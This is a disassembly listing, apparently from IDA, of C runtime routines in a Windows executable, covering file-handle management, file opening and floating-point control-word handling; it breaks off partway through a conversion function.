sub_41FD41	proc near		; CODE XREF: sub_41FEC6+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_48B440
		push	edi
		jnb	short loc_41FDA1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41FDA1
		cmp	dword_439594, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41FD97
		sub	eax, 0
		jz	short loc_41FD8E
		dec	eax
		jz	short loc_41FD89
		dec	eax
		jnz	short loc_41FD97
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------


loc_41FD89:				; CODE XREF: sub_41FD41+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------


loc_41FD8E:				; CODE XREF: sub_41FD41+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_41FD91:				; CODE XREF: sub_41FD41+46j
					; sub_41FD41+4Bj
		nop
		call	near ptr 25C0488h


loc_41FD97:				; CODE XREF: sub_41FD41+36j
					; sub_41FD41+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41FDB5
; ---------------------------------------------------------------------------


loc_41FDA1:				; CODE XREF: sub_41FD41+Cj
					; sub_41FD41+28j
		and	dword_48A018, 0
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh


loc_41FDB5:				; CODE XREF: sub_41FD41+5Ej
		pop	edi
		pop	esi
		retn
sub_41FD41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDB8	proc near		; CODE XREF: sub_41A6B7+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_48B440
		push	edi
		jnb	short loc_41FE1B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41FE1B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41FE1B
		cmp	dword_439594, 1
		jnz	short loc_41FE11
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41FE08
		dec	ecx
		jz	short loc_41FE03
		dec	ecx
		jnz	short loc_41FE11
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------


loc_41FE03:				; CODE XREF: sub_41FDB8+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------


loc_41FE08:				; CODE XREF: sub_41FDB8+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41FE0B:				; CODE XREF: sub_41FDB8+49j
					; sub_41FDB8+4Ej
		nop
		call	near ptr 25C0488h


loc_41FE11:				; CODE XREF: sub_41FDB8+38j
					; sub_41FDB8+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41FE2F
; ---------------------------------------------------------------------------


loc_41FE1B:				; CODE XREF: sub_41FDB8+Cj
					; sub_41FDB8+2Aj ...
		and	dword_48A018, 0
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh


loc_41FE2F:				; CODE XREF: sub_41FDB8+61j
		pop	edi
		pop	esi
		retn
sub_41FDB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE32	proc near		; CODE XREF: sub_41A6B7+32p
					; sub_41A6B7+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48B440
		jnb	short loc_41FE5A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48B340[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41FE5A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41FE5A:				; CODE XREF: sub_41FE32+Aj
					; sub_41FE32+23j
		and	dword_48A018, 0
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41FE32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE6F	proc near		; CODE XREF: sub_41A795+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48B440
		jnb	short loc_41FEB8
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_48B340[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41FEB8
		push	eax
		call	sub_41FE32
		pop	ecx
		push	eax
		nop
		call	near ptr 25C0000h
		test	eax, eax
		jnz	short loc_41FEAD
		call	near ptr 2650BAEh
		nop
		jmp	short loc_41FEAF
; ---------------------------------------------------------------------------


loc_41FEAD:				; CODE XREF: sub_41FE6F+34j
		xor	eax, eax


loc_41FEAF:				; CODE XREF: sub_41FE6F+3Cj
		test	eax, eax
		jz	short locret_41FEC5
		mov	dword_48A018, eax


loc_41FEB8:				; CODE XREF: sub_41FE6F+Aj
					; sub_41FE6F+22j
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh

locret_41FEC5:				; CODE XREF: sub_41FE6F+42j
		retn
sub_41FE6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEC6	proc near		; CODE XREF: sub_41A96C+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41FEEC
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41FEF7
; ---------------------------------------------------------------------------


loc_41FEEC:				; CODE XREF: sub_41FEC6+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41FEF7:				; CODE XREF: sub_41FEC6+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41FF11
		test	ch, 40h
		jnz	short loc_41FF0D
		cmp	dword_48A2E8, eax
		jz	short loc_41FF11


loc_41FF0D:				; CODE XREF: sub_41FEC6+3Dj
		or	[ebp+var_1], 80h


loc_41FF11:				; CODE XREF: sub_41FEC6+38j
					; sub_41FEC6+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41FF49
		dec	eax
		jz	short loc_41FF40
		dec	eax
		jz	short loc_41FF37


loc_41FF22:				; CODE XREF: sub_41FEC6+9Fj
					; sub_41FEC6+E8j ...
		mov	dword_48A014, 16h
		mov	dword_48A018, ebx
		jmp	loc_42015C
; ---------------------------------------------------------------------------


loc_41FF37:				; CODE XREF: sub_41FEC6+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------


loc_41FF40:				; CODE XREF: sub_41FEC6+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------


loc_41FF49:				; CODE XREF: sub_41FEC6+54j
		mov	[ebp+var_C], 80000000h


loc_41FF50:				; CODE XREF: sub_41FEC6+78j
					; sub_41FEC6+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41FF7E
		cmp	eax, 20h
		jz	short loc_41FF75
		cmp	eax, 30h
		jz	short loc_41FF6C
		cmp	eax, 40h
		jnz	short loc_41FF22
		mov	[ebp+var_10], esi
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------


loc_41FF6C:				; CODE XREF: sub_41FEC6+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------


loc_41FF75:				; CODE XREF: sub_41FEC6+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------


loc_41FF7E:				; CODE XREF: sub_41FEC6+90j
		mov	[ebp+var_10], ebx


loc_41FF81:				; CODE XREF: sub_41FEC6+A4j
					; sub_41FEC6+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41FFCB
		jz	short loc_41FFC6
		cmp	ecx, ebx
		jz	short loc_41FFC6
		cmp	ecx, edi
		jz	short loc_41FFBD
		cmp	ecx, 200h
		jz	short loc_41FFE4
		cmp	ecx, 300h
		jnz	loc_41FF22
		mov	[ebp+var_8], 2
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFBD:				; CODE XREF: sub_41FEC6+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFC6:				; CODE XREF: sub_41FEC6+D0j
					; sub_41FEC6+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFCB:				; CODE XREF: sub_41FEC6+CEj
		cmp	ecx, 500h
		jz	short loc_41FFED
		cmp	ecx, 600h
		jz	short loc_41FFE4
		cmp	ecx, edx
		jz	short loc_41FFED
		jmp	loc_41FF22
; ---------------------------------------------------------------------------


loc_41FFE4:				; CODE XREF: sub_41FEC6+E0j
					; sub_41FEC6+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFED:				; CODE XREF: sub_41FEC6+10Bj
					; sub_41FEC6+117j
		mov	[ebp+var_8], 1


loc_41FFF4:				; CODE XREF: sub_41FEC6+F5j
					; sub_41FEC6+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_420013
		mov	ecx, dword_48A01C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_420013
		push	1
		pop	esi


loc_420013:				; CODE XREF: sub_41FEC6+138j
					; sub_41FEC6+148j
		test	al, 40h
		jz	short loc_420021
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_420021:				; CODE XREF: sub_41FEC6+14Fj
		test	ah, 10h
		jz	short loc_420028
		or	esi, edi


loc_420028:				; CODE XREF: sub_41FEC6+15Ej
		test	al, 20h
		jz	short loc_420034
		or	esi, 8000000h
		jmp	short loc_42003E
; ---------------------------------------------------------------------------


loc_420034:				; CODE XREF: sub_41FEC6+164j
		test	al, 10h
		jz	short loc_42003E
		or	esi, 10000000h


loc_42003E:				; CODE XREF: sub_41FEC6+16Cj
					; sub_41FEC6+170j
		call	sub_41FCAC
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_42005F


loc_42004C:				; DATA XREF: ___:00427A84o
					; ___:00427A90o
		and	dword_48A018, 0
		mov	dword_48A014, 18h
		jmp	short loc_42009D
; ---------------------------------------------------------------------------


loc_42005F:				; CODE XREF: sub_41FEC6+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650879h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_420090
		push	esi
		nop
		call	near ptr 25E0000h
		test	eax, eax
		jnz	short loc_4200A4
		push	esi
		nop
		call	near ptr 26307C3h


loc_420090:				; CODE XREF: sub_41FEC6+1B6j
		nop
		call	near ptr 2650BAEh
		push	eax
		call	sub_41EF44
		pop	ecx


loc_42009D:				; CODE XREF: sub_41FEC6+197j
		mov	eax, edi
		jmp	loc_42017A
; ---------------------------------------------------------------------------


loc_4200A4:				; CODE XREF: sub_41FEC6+1C1j
		cmp	eax, 2
		jnz	short loc_4200AF
		or	[ebp+var_1], 40h
		jmp	short loc_4200B8
; ---------------------------------------------------------------------------


loc_4200AF:				; CODE XREF: sub_41FEC6+1E1j
		cmp	eax, 3
		jnz	short loc_4200B8
		or	[ebp+var_1], 8


loc_4200B8:				; CODE XREF: sub_41FEC6+1E7j
					; sub_41FEC6+1ECj
		push	esi
		push	ebx
		call	sub_41FD41
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_420161
		test	al, 80h
		jz	short loc_420161
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_420161
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_420116
		cmp	dword_48A018, 83h
		jz	short loc_420161
		jmp	short loc_420155
; ---------------------------------------------------------------------------


loc_420116:				; CODE XREF: sub_41FEC6+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420143
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_420143
		push	[ebp+var_10]
		push	ebx
		call	sub_4211F1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_420155


loc_420143:				; CODE XREF: sub_41FEC6+265j
					; sub_41FEC6+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420161


loc_420155:				; CODE XREF: sub_41FEC6+24Ej
					; sub_41FEC6+27Bj
		push	ebx
		call	sub_41A6B7
		pop	ecx


loc_42015C:				; CODE XREF: sub_41FEC6+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_42017A
; ---------------------------------------------------------------------------


loc_420161:				; CODE XREF: sub_41FEC6+221j
					; sub_41FEC6+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_420178
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_420178
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_420178:				; CODE XREF: sub_41FEC6+29Fj
					; sub_41FEC6+2A5j
		mov	eax, ebx


loc_42017A:				; CODE XREF: sub_41FEC6+1D9j
					; sub_41FEC6+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42017F	proc near		; CODE XREF: sub_41C50A+52p
		xor	eax, eax
		retn
sub_42017F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420182	proc near		; CODE XREF: sub_4201B7+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_4201CD
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42025F
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_420182	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201B7	proc near		; CODE XREF: sub_41C7F6+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_420182
		pop	ecx
		pop	ecx
		retn
sub_4201B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201CD	proc near		; CODE XREF: sub_420182+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_4201DE
		push	10h
		pop	eax


loc_4201DE:				; CODE XREF: sub_4201CD+Cj
		test	bl, 4
		jz	short loc_4201E5
		or	al, 8


loc_4201E5:				; CODE XREF: sub_4201CD+14j
		test	bl, 8
		jz	short loc_4201EC
		or	al, 4


loc_4201EC:				; CODE XREF: sub_4201CD+1Bj
		test	bl, 10h
		jz	short loc_4201F3
		or	al, 2


loc_4201F3:				; CODE XREF: sub_4201CD+22j
		test	bl, 20h
		jz	short loc_4201FA
		or	al, 1


loc_4201FA:				; CODE XREF: sub_4201CD+29j
		test	bl, 2
		jz	short loc_420204
		or	eax, 80000h


loc_420204:				; CODE XREF: sub_4201CD+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_42023C
		cmp	edx, 400h
		jz	short loc_420239
		cmp	edx, 800h
		jz	short loc_420235
		cmp	edx, esi
		jnz	short loc_42023C
		or	eax, edi
		jmp	short loc_42023C
; ---------------------------------------------------------------------------


loc_420235:				; CODE XREF: sub_4201CD+5Ej
		or	eax, ebp
		jmp	short loc_42023C
; ---------------------------------------------------------------------------


loc_420239:				; CODE XREF: sub_4201CD+56j
		or	ah, 1


loc_42023C:				; CODE XREF: sub_4201CD+4Ej
					; sub_4201CD+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_42024C
		cmp	ecx, ebp
		jnz	short loc_420251
		or	eax, 10000h
		jmp	short loc_420251
; ---------------------------------------------------------------------------


loc_42024C:				; CODE XREF: sub_4201CD+72j
		or	eax, 20000h


loc_420251:				; CODE XREF: sub_4201CD+76j
					; sub_4201CD+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42025E
		or	eax, 40000h

locret_42025E:				; CODE XREF: sub_4201CD+8Aj
		retn
sub_4201CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42025F	proc near		; CODE XREF: sub_420182+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42026F
		push	1
		pop	eax


loc_42026F:				; CODE XREF: sub_42025F+Bj
		test	bl, 8
		jz	short loc_420276
		or	al, 4


loc_420276:				; CODE XREF: sub_42025F+13j
		test	bl, 4
		jz	short loc_42027D
		or	al, 8


loc_42027D:				; CODE XREF: sub_42025F+1Aj
		test	bl, 2
		jz	short loc_420284
		or	al, 10h


loc_420284:				; CODE XREF: sub_42025F+21j
		test	bl, 1
		jz	short loc_42028B
		or	al, 20h


loc_42028B:				; CODE XREF: sub_42025F+28j
		test	ebx, 80000h
		jz	short loc_420295
		or	al, 2


loc_420295:				; CODE XREF: sub_42025F+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_4202C2
		cmp	ecx, 100h
		jz	short loc_4202BF
		cmp	ecx, esi
		jz	short loc_4202BA
		cmp	ecx, edx
		jnz	short loc_4202C2
		or	ah, 0Ch
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------


loc_4202BA:				; CODE XREF: sub_42025F+50j
		or	ah, 8
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------


loc_4202BF:				; CODE XREF: sub_42025F+4Cj
		or	ah, 4


loc_4202C2:				; CODE XREF: sub_42025F+44j
					; sub_42025F+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_4202D8
		cmp	ecx, 10000h
		jnz	short loc_4202DA
		or	eax, esi
		jmp	short loc_4202DA
; ---------------------------------------------------------------------------


loc_4202D8:				; CODE XREF: sub_42025F+6Bj
		or	eax, edx


loc_4202DA:				; CODE XREF: sub_42025F+73j
					; sub_42025F+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_4202E7
		or	ah, 10h

locret_4202E7:				; CODE XREF: sub_42025F+83j
		retn
sub_42025F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202E8	proc near		; CODE XREF: sub_420387+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_42032D
		inc	esi
		cmp	esi, 3
		jge	short loc_420328
		lea	eax, [eax+esi*4]


loc_42031A:				; CODE XREF: sub_4202E8+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_42032D
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_42031A


loc_420328:				; CODE XREF: sub_4202E8+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42032D:				; CODE XREF: sub_4202E8+27j
					; sub_4202E8+35j
		xor	eax, eax
		pop	esi
		retn
sub_4202E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_420331	proc near		; CODE XREF: sub_420387+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		js	short loc_420383
		lea	edi, [ebx+esi*4]


loc_42036A:				; CODE XREF: sub_420331+50j
		test	eax, eax
		jz	short loc_420383
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_42036A


loc_420383:				; CODE XREF: sub_420331+34j
					; sub_420331+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_420331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420387	proc near		; CODE XREF: sub_4204E2+81p
					; sub_4204E2+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_4203EB
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_4202E8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4203E8
		push	edi
		push	[ebp+arg_0]
		call	sub_420331
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_4203E8:				; CODE XREF: sub_420387+51j
		mov	eax, [ebp+arg_4]


loc_4203EB:				; CODE XREF: sub_420387+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_42040B
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_42040B:				; CODE XREF: sub_420387+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420387	endp


; =============== S U B	R O U T	I N E =======================================



sub_420413	proc near		; CODE XREF: sub_4204E2+75p
					; sub_4204E2+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_420421:				; CODE XREF: sub_420413+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_420421
		pop	esi
		retn
sub_420413	endp


; =============== S U B	R O U T	I N E =======================================



sub_42042E	proc near		; CODE XREF: sub_4204E2+5Fp
					; sub_4204E2+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42042E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42043A	proc near		; CODE XREF: sub_4204E2+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_420440:				; CODE XREF: sub_42043A+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_420452
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_420440
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_420452:				; CODE XREF: sub_42043A+9j
		xor	eax, eax
		retn
sub_42043A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420455	proc near		; CODE XREF: sub_4204E2+C0p
					; sub_4204E2+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_42048B:				; CODE XREF: sub_420455+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_42048B
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_4204BD:				; CODE XREF: sub_420455+86j
		cmp	ebx, edi
		jl	short loc_4204D0
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_4204D7
; ---------------------------------------------------------------------------


loc_4204D0:				; CODE XREF: sub_420455+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_4204D7:				; CODE XREF: sub_420455+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_4204BD
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4204E2	proc near		; CODE XREF: sub_42064E+Dp
					; sub_420664+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_42054F
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_42043A
		test	eax, eax
		pop	ecx
		jnz	loc_42060E
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx


loc_420547:				; CODE XREF: sub_4204E2+E4j
		push	2


loc_420549:				; CODE XREF: sub_4204E2+110j
		pop	eax
		jmp	loc_420610
; ---------------------------------------------------------------------------


loc_42054F:				; CODE XREF: sub_4204E2+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_420413
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		add	esp, 10h
		test	eax, eax
		jz	short loc_420570
		inc	ebx


